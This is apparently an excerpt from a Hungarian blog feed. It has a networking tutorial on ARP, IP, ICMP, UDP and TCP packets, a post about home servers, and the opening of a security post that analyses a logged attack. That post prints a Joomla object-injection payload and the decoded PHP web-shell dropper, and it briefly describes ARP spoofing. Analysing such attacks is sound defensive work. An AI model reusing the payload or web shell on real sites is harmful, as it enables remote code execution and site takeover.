    <td><code>0x0800</code></td>
    <td>IP protokoll</td>
  </tr>
  <tr class="blue">
    <td><code>0x06</code></td>
    <td>6 byte-os MAC cím</td>
  </tr>
  <tr class="blue">
    <td><code>0x04</code></td>
    <td>4 byte-os IP cím</td>
  </tr>
  <tr class="blue">
    <td><code>0x0001</code></td>
    <td>kérés típusú csomag</td>
  </tr>
  <tr class="blue">
    <td><code>0x0A0000000002</code></td>
    <td>a feladó (Alice) MAC címe</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80166</code></td>
    <td>a feladó (Alice) IP címe</td>
  </tr>
  <tr class="blue">
    <td><code>0x000000000000</code></td>
    <td>a címzett (Bob) MAC címe</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80167</code></td>
    <td>a címzett (Bob) IP címe</td>
  </tr>
  <tr class="green">
    <td><code>0x????????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
</tbody>
</table>
<p>Az IP címek hexadecimális formátumban vannak, <a href="https://gchq.github.io/CyberChef/#recipe=Change_IP_format(&#x27;Dotted%20Decimal&#x27;,&#x27;Hex&#x27;)&amp;input=MTkyLjE2OC4xLjEwMw">a CyberChef remekül használható a konvertálásra</a>. Kérés típusú üzenetben a címzett MAC címe bármi lehet, figyelmen kívül lesz hagyva az értéke.</p>
<p>Bob megkapja ezt a kérést és mivel az ő IP címe a <code>192.168.1.103</code>, küld is rá egy választ:</p>
<table>
<tbody>
  <tr class="green">
    <td><code>0x0A0000000002</code></td>
    <td>címzett (Alice)</td>
  </tr>
  <tr class="green">
    <td><code>0x0A0000000003</code></td>
    <td>feladó (Bob)</td>
  </tr>
  <tr class="green">
    <td><code>0x0806</code></td>
    <td>ARP típusú adat</td>
  </tr>
  <tr class="blue">
    <td><code>0x0001</code></td>
    <td>Ethernet hardver</td>
  </tr>
  <tr class="blue">
    <td><code>0x0800</code></td>
    <td>IP protokoll</td>
  </tr>
  <tr class="blue">
    <td><code>0x06</code></td>
    <td>6 byte-os MAC cím</td>
  </tr>
  <tr class="blue">
    <td><code>0x04</code></td>
    <td>4 byte-os IP cím</td>
  </tr>
  <tr class="blue">
    <td><code>0x0002</code></td>
    <td>válasz típusú csomag</td>
  </tr>
  <tr class="blue">
    <td><code>0x0A0000000003</code></td>
    <td>a feladó (Bob) MAC címe</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80167</code></td>
    <td>a feladó (Bob) IP címe</td>
  </tr>
  <tr class="blue">
    <td><code>0x0A0000000002</code></td>
    <td>a címzett (Alice) MAC címe</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80166</code></td>
    <td>a címzett (Alice) IP címe</td>
  </tr>
  <tr class="green">
    <td><code>0x????????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
</tbody>
</table>
<p>Itt is felmerül a kérdés, hogy vajon mi történik, ha nem csak Bob válaszol az üzenetre, hanem a gonosz Mallory is? Előfordulhat, hogy Alice rossz helyre fogja küldeni Bob-nak szánt üzeneteit?</p>
<p>Az eszközök rendelkeznek egy ARP cache nevezetű dologgal, ami az IP cím - MAC cím összerendeléseket tartalmazza, hogy ne kelljen minden egyes alkalommal megkérdezni. Alice esetén ez valahogy így nézhet ki:</p>
<pre class="console"><code>$ ip -br neigh
192.168.1.103                           eth0             0a:00:00:00:00:03
192.168.1.104                           eth0             0a:00:00:00:00:04
192.168.1.1                             eth0             0a:00:00:00:00:01
</code></pre>
<p>Ez a cache akkor is frissül, ha kérés nélkül kapunk egy ARP választ, ami azt jelenti, hogy ha Mallory elkezdi elárasztani hamis ARP válaszokkal a hálózatot (Alice-nak azt mondja, hogy ő a router, a router-nek azt mondja, hogy ő Alice), valamint továbbítja az eredeti címzetteknek a rajta keresztülmenő csomagokat, akkor anélkül tudja lehallgatni (vagy akár megváltoztatni) Alice Internet forgalmát, hogy Alice ebből bármit észrevenne.</p>
<h4>Internet Protocol</h4>
<p>A kövektező protokoll az IP, aminek megjelenésével végre vannak IP címeink és tudunk két IP cím között adatot cserélni. Az IP csomag felépítése:</p>
<table>
<tbody>
  <tr>
    <td nowrap>4 bit</td>
    <td>verzió (<code>0b0100</code> IPv4 esetén)</td>
  </tr>
  <tr>
    <td nowrap>4 bit</td>
    <td>fejléc mérete (általában <code>0b0101</code>)</td>
  </tr>
  <tr>
    <td nowrap>8 bit</td>
    <td>különböző beállítások, amikbe nem mentem komolyabban bele, küldhetünk <code>0b00000000</code>-t, abból baj nem lehet :)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>a csomag teljes mérete</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>azonosító (a több részre bontott üzenetek csoportosításához)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>tördeléssel kapcsolatos adatok (elképzelhető, hogy az IP csomag, amit küldeni szeretnénk nem fér bele egy Ethernet keretbe, ezért több részre kell bontani, alapesetben <code>0x00</code> az értéke)</td>
  </tr>
  <tr>
    <td nowrap>1 byte</td>
    <td>TTL (Time-to-live), mindig egyel csökken, ha a csomag áthalad egy hálózati eszközön, ha eléri a nullát, az eszköz eldobja a csomagot</td>
  </tr>
  <tr>
    <td nowrap>1 byte</td>
    <td>az adatban használt protokoll típusa (<code>0x01</code> az ICMP, <code>0x06</code> a TCP, <code>0x11</code> az UDP)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr>
    <td nowrap>4 byte</td>
    <td>a feladó IP címe</td>
  </tr>
  <tr>
    <td nowrap>4 byte</td>
    <td>a címzett IP címe</td>
  </tr>
  <tr>
    <td nowrap>&nbsp;</td>
    <td>adat</td>
  </tr>
</tbody>
</table>
<h4>Internet Control Message Protocol</h4>
<p>Ha már a ping-et emlegettük korábban, szót kell ejtenünk az ICMP-ről. Elég fura állatfaj, a hálózati réteghez sorolják, de kicsit az az érzésem, hogy a szállítási rétegben lenne a helye. Ugyanúgy egy IP csomagba rakjuk bele, mint az UDP-t vagy a TCP-t, csak nem adatszállítás a célja. A ping esetén valahogy így épül fel az üzenet:</p>
<table>
<tbody>
  <tr>
    <td nowrap>1 byte</td>
    <td>típus (<code>0x08</code> a ping kérés, <code>0x00</code> a ping válasz)</td>
  </tr>
  <tr>
    <td nowrap>1 byte</td>
    <td>kód (ping kérés/válasz esetén nem használt adat)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>azonosító (kérés és válasz összepárosítása)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>sorszám (kérés és válasz összepárosítása)</td>
  </tr>
  <tr>
    <td nowrap>&nbsp;</td>
    <td>opcionális adat</td>
  </tr>
</tbody>
</table>
<p>Alice már tudja Bob MAC címét, úgyhogy végre elküldheti azt a ping-et, amit eredetileg szeretett volna, amire aztán Bob válaszolhat. Valahogy így néz ki a kérés (a zöld rész az Ethernet kerethez tartozik, a kék rész az IP csomag, a piros rész az ICMP):</p>
<table>
<tbody>
  <tr class="green">
    <td><code>0x0A0000000003</code></TD>
    <td>címzett MAC címe (Bob)</td>
  </tr>
  <tr class="green">
    <td><code>0x0A0000000002</code></TD>
    <td>feladó MAC címe (Alice)</td>
  </tr>
  <tr class="green">
    <td><code>0x0800</code></td>
    <td>IP típusú adat</td>
  </tr>
  <tr class="blue">
    <td><code>0b01000101</code></td>
    <td>verzió és fejléc méret</td>
  </tr>
  <tr class="blue">
    <td><code>0b00000000</code></td>
    <td>beállítások, amikkel nem foglalkozunk</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>a csomag teljes mérete</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>azonosító</td>
  </tr>
  <tr class="blue">
    <td><code>0x00</code></td>
    <td>tördeléssel kapcsolatos adatok</td>
  </tr>
  <tr class="blue">
    <td><code>0xFF</code></td>
    <td>TTL</td>
  </tr>
  <tr class="blue">
    <td><code>0x01</code></td>
    <td>ICMP csomag</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80166</code></td>
    <td>feladó IP címe (Alice)</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80167</code></td>
    <td>címzett IP címe (Bob)</td>
  </tr>
  <tr class="red">
    <td><code>0x08</code></td>
    <td>ping kérés típusú üzenet</td>
  </tr>
  <tr class="red">
    <td><code>0x00</code></td>
    <td>nem használt adat</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>azonosító</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>sorszám</td>
  </tr>
  <tr class="green">
    <td><code>0x????????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
</tbody>
</table>
<p>Amire Bob a következő választ küldi:</p>
<table>
<tbody>
  <tr class="green">
    <td><code>0x0A0000000002</code></TD>
    <td>címzett MAC címe (Alice)</td>
  </tr>
  <tr class="green">
    <td><code>0x0A0000000003</code></TD>
    <td>feladó MAC címe (Bob)</td>
  </tr>
  <tr class="green">
    <td><code>0x0800</code></td>
    <td>IP típusú adat</td>
  </tr>
  <tr class="blue">
    <td><code>0b01000101</code></td>
    <td>verzió és fejléc méret</td>
  </tr>
  <tr class="blue">
    <td><code>0b00000000</code></td>
    <td>beállítások, amikkel nem foglalkozunk</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>a csomag teljes mérete</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>azonosító</td>
  </tr>
  <tr class="blue">
    <td><code>0x00</code></td>
    <td>tördeléssel kapcsolatos adatok</td>
  </tr>
  <tr class="blue">
    <td><code>0xFF</code></td>
    <td>TTL</td>
  </tr>
  <tr class="blue">
    <td><code>0x01</code></td>
    <td>ICMP csomag</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80167</code></td>
    <td>feladó IP címe (Bob)</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80166</code></td>
    <td>címzett IP címe (Alice)</td>
  </tr>
  <tr class="red">
    <td><code>0x00</code></td>
    <td>ping válasz típusú üzenet</td>
  </tr>
  <tr class="red">
    <td><code>0x00</code></td>
    <td>nem használt adat</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>azonosító (amit Alice küldött)</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>sorszám (amit Alice küldött)</td>
  </tr>
  <tr class="green">
    <td><code>0x????????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
</tbody>
</table>
<p>Kezd bonyolódni a dolog, pedig még messze vagyunk a végétől. Feltűnt, hogy portokról még nem is esett szó? Nem véletlenül. Ezen a ponton a port fogalma még nem létezik, ideje szintet lépni.</p>
<h3>Szállítási réteg</h3>
<p>Ha nyitottál már valaha socket-eket bármilyen programozási nyelven, akkor ismerősek lesznek az itt található protokollok. Kezdjük az egyszerűbbel.</p>
<h4>User Datagram Protocol</h4>
<p>Mint már említettem, az UDP egyszerű. Nincs garantálva, hogy megérkezik a csomag, nincs újraküldés elveszett csomagokra, csak belekiabálunk a cső egyik végébe és reménykedünk, hogy a másik végén hallani fogják. Egy csomag a következőképpen néz ki:</p>
<table>
<tbody>
  <tr>
    <td nowrap>2 byte</td>
    <td>feladó port</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>címzett port</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>a csomag teljes mérete</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr>
    <td nowrap>&nbsp;</td>
    <td>opcionális adat</td>
  </tr>
</tbody>
</table>
<p>A feladó port is opcionális, ha nem nulla az értéke, akkor azon a porton várjuk a válasz csomagokat.</p>
<h4>Transmission Control Protocol</h4>
<p>És ezzel elérkeztünk a méltán híres és közkedvelt TCP-hez. A modern, pakoljunk mindent a böngészőbe és szolgáljuk ki HTTP-n alapú Internet sarokköve. Egészen addig, amíg a HTTP/3 el nem terjed, ami vált UDP-re. Egy csomag a következőképpen néz ki:</p>
<table>
<tbody>
  <tr>
    <td nowrap>2 byte</td>
    <td>feladó port</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>címzett port</td>
  </tr>
  <tr>
    <td nowrap>4 byte</td>
    <td>sorszám</td>
  </tr>
  <tr>
    <td nowrap>4 byte</td>
    <td>nyugta szám</td>
  </tr>
  <tr>
    <td nowrap>4 bit</td>
    <td>header méret (hány darab 4 byte-os blokkból áll)</td>
  </tr>
  <tr>
    <td nowrap>4 bit</td>
    <td>lefoglalt bitek, amik nincsenek használatban</td>
  </tr>
  <tr>
    <td nowrap>8 bit</td>
    <td>beállítások (<code>SYN</code>, <code>FIN</code>, <code>ACK</code>, <code>URG</code> és a többiek)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>ablak méret</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>a sürgős adat kezdőcíme (ha <code>URG</code> a csomag)</td>
  </tr>
  <tr>
    <td nowrap>&nbsp;</td>
    <td>opcionális beállítások</td>
  </tr>
  <tr>
    <td nowrap>&nbsp;</td>
    <td>opcionális adat</td>
  </tr>
</tbody>
</table>
<p>Nem csak a csomag felépítése a lényeg, hanem az a kis tánc, amit a kliens és a szerver eljár, hogy adatokat cserélhessen. Ki kell építeni és le kell zárni a kapcsolatot, valamint mindkét fél nyugtázza, hogy megkapta a másik által küldött adatokat.</p>
<h5>Kapcsolat kiépítése</h5>
<ol>
<li>a kliens küld egy <code>SYN</code> csomagot<br />
(a sorszám 0, mivel ez az első csomagja a kliensnek)</li>
<li>a szerver válaszol egy <code>SYN</code>, <code>ACK</code> csomaggal<br />
(a sorszám 0, mivel ez az első csomagja a szervernek, a nyugta szám 1, mivel az előzőleg kapott sorszám az 0 volt és nem volt benne adat, így a következő csomagban az 1-es sorszámra számítunk)</li>
<li>a kliens válaszol egy <code>ACK</code> csomaggal<br />
(a sorszám 1, a nyugta szám 1)</li>
</ol>
<h5>Adatok cseréje</h5>
<ol>
<li>a kliens küld 10 byte-nyi adatot<br />
(a sorszám 1)</li>
<li>a szerver válaszol egy <code>ACK</code> csomaggal<br />
(a sorszám 1, a nyugta szám 11, mivel az előző sorszám 1 volt és 10 byte-nyi adatot kaptunk)</li>
<li>a szerver küld 100 byte-nyi adatot<br />
(a sorszám 1)</li>
<li>a kliens válaszol egy <code>ACK</code> csomaggal<br />
(a sorszám 11, a nyugta szám 101)</li>
</ol>
<h5>Kapcsolat lezárása</h5>
<ol>
<li>a kliens küld egy <code>FIN</code> csomagot<br />
(a sorszám 11)</li>
<li>a szerver válaszol egy <code>FIN</code>, <code>ACK</code> csomaggal<br />
(a sorszám 101, a nyugta szám 12)</li>
<li>a kliens válaszol egy <code>ACK</code> csomaggal<br />
(a sorszám 12, a nyugta szám 102)</li>
</ol>
<h3>Alkalmazási réteg</h3>
<p>Elegánsan átugrunk két szintet, a viszonyréteget és a megjelenítési réteget. A viszonyrétegen van például a SOCKS protokoll, a megjelenítési réteg feladatköre pedig gyakran összeolvad az alkalmazási réteggel.</p>
<p>Az alkalmazási rétegünk például a HTTP. A fentebb megszerzett tudás felhasználásával nézzük is meg, hogy mi történik, amikor Alice futtat egy egyszerű <code>curl www.example.org</code> parancsot.</p>
<p>Ahhoz, hogy ezt meg tudjuk mondani, tudnunk kell Alice hálózati beállításait. Tegyük fel, hogy valami ilyesmi van beállítva:</p>
<pre><code>auto eth0
iface eth0 inet static
      address 192.168.1.102
      netmask 255.255.255.0
      gateway 192.168.1.1
      dns-nameservers 1.1.1.1
</code></pre>
<ul>
<li>a <code>www.example.org</code> domain-nel nem tudunk sokat kezdeni, kell egy IP cím</li>
<li>a beállított DNS IP címe nem a helyi hálózaton van, úgyhogy a kérést a router (gateway) felé kell küldeni</li>
<li>ARP kérés küldése, hogy kiderítsük a router MAC címét</li>
<li>UDP csomag küldése a router MAC címére, az IP csomagban a DNS IP címével</li>
<li>a router látja, hogy nem ő a címzett, ezért továbbítja a csomagot az Internet felé (itt még közrejátszik a NAT és a kapcsolatkövetés is, hogy kifelé a router publikus IP címe látszódjon a csomagban és a visszaérkező válaszról tudja, hogy kinek kell továbbítani)</li>
<li>az Internet felől érkezik egy válasz UDP csomag, a router látja, hogy nem neki címezték</li>
<li>a kapcsolatkövetés miatt tudja a router, hogy merre kell továbbítania a csomagot</li>
<li>UDP csomag továbbítása Alice-nek</li>
<li>a <code>www.example.org</code> IP címe <code>X.X.X.X</code></li>
<li>HTTP kérés összeállítása, TCP kapcsolat felépítése</li>
<li>az <code>X.X.X.X</code> cím nem a helyi hálózaton van, úgyhogy a TCP csomagokat a router MAC címére küldjük a megfelelő címzett IP címmel</li>
<li>a válasz csomagokat a router továbbítja Alice-nek</li>
<li>TCP kapcsolat lebontása</li>
<li>az ARP kérésekre ezen a ponton már valószínűleg nincs szükség, mert benne van a cache-ben</li>
</ul>
<p>Felmerülhet még a kérdés, hogy miből derül ki, hogy egy IP cím nem a helyi hálózaton van. A fenti <code>address</code>/<code>netmask</code>/<code>gateway</code> beállításokból generálódik egy routing tábla, ami valahogy így nézhet ki:</p>
<pre class="console"><code>$ sudo route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 eth0
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 eth0
</code></pre>
<p>Nem mondom, hogy tudom pontosan hogyan is működik, de azt tippelném, hogy a legszűkebb találatot fogja előszedni vagy a végéről indul visszafelé és az első találatot, de lényeg a lényeg, ha valami a <code>192.168.1.0</code>-<code>192.168.1.255</code> tartományban van, akkor azt csak egyszerűen kiküldi a megfelelő MAC címre, az összes többi IP cím esetén a <code>192.168.1.1</code> IP címhez tartozó MAC címre küldi a csomagot. A router-nek pedig van egy hasonló routing táblája, ami alapján el tudja dönteni, hogy mit kezdjen azzal a csomaggal.</p>
<h3>Összegzés</h3>
<p>Remélem sikerült egy csepp betekintést nyerni abba, hogy mi történik &quot;alattunk&quot;, amikor használjuk az Internetet. Sok rétegen át rengeteg dolog történik és mi most csak a felszínt kapargattuk meg egy kicsit.</p>
<p>Nem is jutottunk túl messzire, csak a router-ig merészkedtünk. Ami azon túl van... az egy külön világ, ahol olyanok vannak, mint a DSL, SDH, PPP, MPLS, BGP, OSPF, meg még egy csomó rövidítés, aminek még a létezéséről se tudok. És mégis, az esetek többségében eljutnak a csomagjaink a megfelelő címzettekhez. Mi ez, ha nem varázslat?</p>

]]></content:encoded>
        </item>
            <item>
            <title>Szerver a házban</title>
            <link>https://deadlime.hu/2023/08/04/szerver-a-hazban/</link>
            <pubDate>Fri, 04 Aug 2023 19:35:00 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[hardver]]></category>
                    
            <guid isPermaLink="false">3a691edb9751192a84866804f7674156</guid>
            <description>A szerverek is dolgozhatnak otthonról</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/home_servers.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Valahogy mindig is vonzott az a gondolat, hogy legyen egy otthoni szerverem. Az első egy kiöregedett asztali PC volt, igazi retró szürke fekvő házban, amire egy Debian-t húztunk fel. Azon kezdtem el tanulgatni a Linux rejtelmeit. Később egy apróhirdetés oldalon vadásztam össze egy leselejtezett Dell OptiPlex Gx240-et, ami egészen a Raspberry Pi Model B megjelenéséig kitartott. Onnantól kezdve egész sokáig csak Raspberry Pi volt használva otthoni szervernek, mindig cserélve a legfrissebb verzióra.</p>
<p>Az ARM alapú rendszerek nem mindig voltak problémamentesek. Nem működtek dolgok, nem voltak rá csomagok vagy éppen cross-compile-olni kellett volna rá. Meg hát a Raspberry Pi sem egy erőmű. Egy ideig szemezgettem az x86 architektúrával, főleg az <a href="https://www.intel.com/content/www/us/en/products/details/nuc.html">Intel NUC</a> termékvonallal, de végül az ilyen irányú otthoni szerver igényeimet felhős szerverekkel helyettesítettem.</p>
<p>Egy ponton <a href="https://deadlime.hu/2022/06/07/koltozes-es-kaosz/">leköltöztem a felhőből</a> és jelenleg három szerver tartja itthon a frontot.</p>
<h3>File szerver</h3>
<p>A régi Raspberry Pi szerverek leszármazottja, egy 4-es Model B, 4 GB RAM-mal. Valamikor rá lett kötve egy 4 TB-os külső meghajtó is, azóta főleg file szerverként üzemel Samba segítségével. Fut még rajta <a href="https://syncthing.net/">Syncthing</a>, amivel a gépeim közötti fájl szinkronizálást oldom meg.</p>
<p>Van egy társa is, szintén egy Raspberry Pi 4 Model B (valószínűleg ugyanúgy 4 GB RAM-mal, de lusta vagyok megnézni), amin <a href="https://libreelec.tv/">LibreELEC</a> fut a TV felokosításához, de őt nem sorolnám a szerverek közé.</p>
<h3>A régi router</h3>
<p>Egy időben sok cikkbe futottam bele, ami arról szólt, hogy milyen jó dolog PC alkatrészekből saját router-t építeni. Meg is jött hozzá a kedvem, építettem egyet <a href="https://en.wikipedia.org/wiki/Mini-ITX">Mini-ITX</a> alapokon:</p>
<ul>
<li><a href="https://www.chieftec.eu/products-detail/88/IX-03B-OP">Chieftec IX-03B-OP</a> ház</li>
<li><a href="https://www.gigabyte.com/Motherboard/GA-N3160N-D3V-rev-10">Gigabyte GA-N3160N-D3V</a> alaplap</li>
<li><a href="https://ark.intel.com/content/www/us/en/ark/products/91831/intel-celeron-processor-n3160-2m-cache-up-to-2-24-ghz.html">Intel Celeron N3160</a> processzor az alaplapra integrálva</li>
<li>8 GB RAM</li>
<li>SATA SSD</li>
<li>passzív hűtés</li>
</ul>
<p>Tényleg jó volt, rengeteget tanultam belőle, de egy idő után túl sok volt vele a nyűg. Visszaváltottam egy gyári router-re, de a gép megmaradt és maradt pár szolgáltatás is, ami továbbra is innen fut. Van rajta egy rekurzív DNS feloldó, ami DNS alapú reklám blokkolóként is működik (mint a <a href="https://pi-hole.net/">Pi-hole</a>, csak én tákoltam össze) és egy <a href="https://deadlime.hu/2020/09/23/a-raspberry-pi-lemeztelenitese/">TFTP/NFS szerver a LibreELEC-es Raspberry Pi-nak</a>. Volt rajta egy OpenVPN szerver is, amit elkezdtem átmigrálni WireGuard-ra, de aztán félbemaradt és most egyik sincs rajta.</p>
<h3>Alkalmazás szerver</h3>
<p>A router nem egy erőműnek készült, az alkalmazások futtatásához kellett itthonra valami erősebb gép. A Mini-ITX alapok beváltak, úgyhogy egy ugyanolyan kis dobozt raktam össze, mint a router esetén:</p>
<ul>
<li>szintén egy Chieftec IX-03B-OP ház</li>
<li><a href="https://www.asus.com/motherboards-components/motherboards/prime/prime-h410i-plus/">Asus PRIME H410I-PLUS</a> alaplap</li>
<li><a href="https://www.intel.com/content/www/us/en/products/sku/199283/intel-core-i310100-processor-6m-cache-up-to-4-30-ghz/specifications.html">Intel Core i3-10100</a> processzor</li>
<li>16 GB RAM</li>
<li>NVMe SSD</li>
<li>aktív hűtés</li>
</ul>
<p>A gépen egy Docker Swarm fut, Portainer és Traefik segítségével (<a href="https://deadlime.hu/2022/06/07/koltozes-es-kaosz/">részletek a költözős bejegyzésben</a>). Sok minden megfordult már rajta (Elastic Stack, Nextcloud, MQTT szerver <a href="https://deadlime.hu/2018/08/23/adatsorok-es-grafikonok/">a szenzorok</a> egy újabb változatának). Jelenleg csak egy GitLab-ot (Git szerver, container/package registry, build szerver) és egy MediaWiki-t futtat aktívan. Lehet az utóbbit is kiválthatnám a GitLab beépített Wiki oldalával.</p>
<p>És azt hiszem ennyi. Remélem sikerült ihletet meríteni belőle és már tervezgeted az új szerveredet. Ha most indulsz csak el az otthoni szervertartás (nem különösebben) rögös útján, akkor kezdésnek egy Raspberry Pi jó döntés lehet (ha éppen nincs belőle készlethiány) a hivatalos Raspberry Pi OS Lite-tal. Viszonylag olcsó, jól támogatott hardver, elég sok self-hosted alkalmazással elbír. Aztán ahogy kiderülnek menet közben a hiányosságok, úgy lehet nézni alternatív megoldásokat.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Kód újrahasznosítás felsőfokon</title>
            <link>https://deadlime.hu/2023/07/14/kod-ujrahasznositas-felsofokon/</link>
            <pubDate>Fri, 14 Jul 2023 15:22:47 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[biztonság]]></category>
                    <category><![CDATA[PHP]]></category>
                    <category><![CDATA[MySQL]]></category>
                    
            <guid isPermaLink="false">de4c598138594d5b1192a3e0e83e7929</guid>
            <description>Nem is gondolnád, hogy mire képes egy kis kreativitás a régi, megunt osztályokkal</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/hacker.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Évekkel ezelőtt tartottam egy belsős előadást egy sérülékenységről, ami annyira tekervényes, olyan valószínűtlen, hogy még a mai napig is lenyűgöz.</p>
<p>Az egész úgy kezdődött, hogy találtam egy feltűnően furcsa sort a webszerver logjai között. A publikus interneten lógó webszerverek logjaiban sok a furcsa sor, na de a feltűnően furcsa...</p>
<pre class="console-wrap"><code>192.0.2.1 - - [16/Oct/2018:17:33:48 +0000] &quot;GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1&quot; 301 178 &quot;-&quot; &quot;}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:46:\x22eval($_REQUEST[1]);JFactory::getConfig();exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\x9D\x8C\x86&quot;
</code></pre>
<p>Két érdekes dolog is van itt. Az egyik az <code>1</code> elnevezésű GET paraméterben kapott adat, a másik a user agent értéke (az idézőjelek közötti rész a sor végén). Nézzük először a GET paramétert.</p>
<h3>Távoli elérés</h3>
<p>Egy <code>urldecode</code> és némi formázás után a következő PHP kódot kapjuk (a <a href="https://gchq.github.io/CyberChef/#recipe=URL_Decode()Generic_Code_Beautify()Syntax_highlighter(&#x27;auto%20detect&#x27;)&amp;input=JTQwaW5pX3NldCUyOCUyMmRpc3BsYXlfZXJyb3JzJTIyJTJDJTIyMCUyMiUyOSUzQiU0MHNldF90aW1lX2xpbWl0JTI4MCUyOSUzQiU0MHNldF9tYWdpY19xdW90ZXNfcnVudGltZSUyODAlMjklM0JlY2hvJTIwJTI3LSUzRSU3QyUyNyUzQmZpbGVfcHV0X2NvbnRlbnRzJTI4JTI0X1NFUlZFUiU1QiUyN0RPQ1VNRU5UX1JPT1QlMjclNUQuJTI3L3dlYmNvbmZpZy50eHQucGhwJTI3JTJDYmFzZTY0X2RlY29kZSUyOCUyN1BEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYk1WMHBPejglMkIlMjclMjklMjklM0JlY2hvJTIwJTI3JTdDJTNDLSUyNyUzQg">CyberChef</a> egyébként remek eszköz ilyenekre):</p>
<pre><code class="hljs php">@ini_set(<span class="hljs-string">"display_errors"</span>,<span class="hljs-string">"0"</span>);
@set_time_limit(<span class="hljs-number">0</span>);
@set_magic_quotes_runtime(<span class="hljs-number">0</span>);

<span class="hljs-keyword">echo</span> <span class="hljs-string">'-&gt;|'</span>;
file_put_contents(
  $_SERVER[<span class="hljs-string">'DOCUMENT_ROOT'</span>].<span class="hljs-string">'/webconfig.txt.php'</span>,
  base64_decode(<span class="hljs-string">'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'</span>)
);
<span class="hljs-keyword">echo</span> <span class="hljs-string">'|&lt;-'</span>;
</code></pre>
<p>A <code>webconfig.txt.php</code> fájlba próbál nekünk valamit beírni. Egy gyors <code>base64_decode</code> és az is kiderül, hogy mit:</p>
<pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span> <span class="hljs-keyword">eval</span>($_POST[<span class="hljs-number">1</span>]);<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>Egy egyszerű PHP-s remote shell, amit arra lehet használni, hogy a támadó bármilyen PHP kódot lefuttathasson az adott gépen. Hogy miért volt ráküldve egy <code>base64_encode</code>? Amint elmentettem a fájlt, ami ezt a bejegyzést tartalmazza úgy, hogy benne volt a fentebbi kód, rögtön jelzett a vírusirtó, hogy backdoor-t talált. A base64 enkódolt változat viszont még nem zavarta.</p>
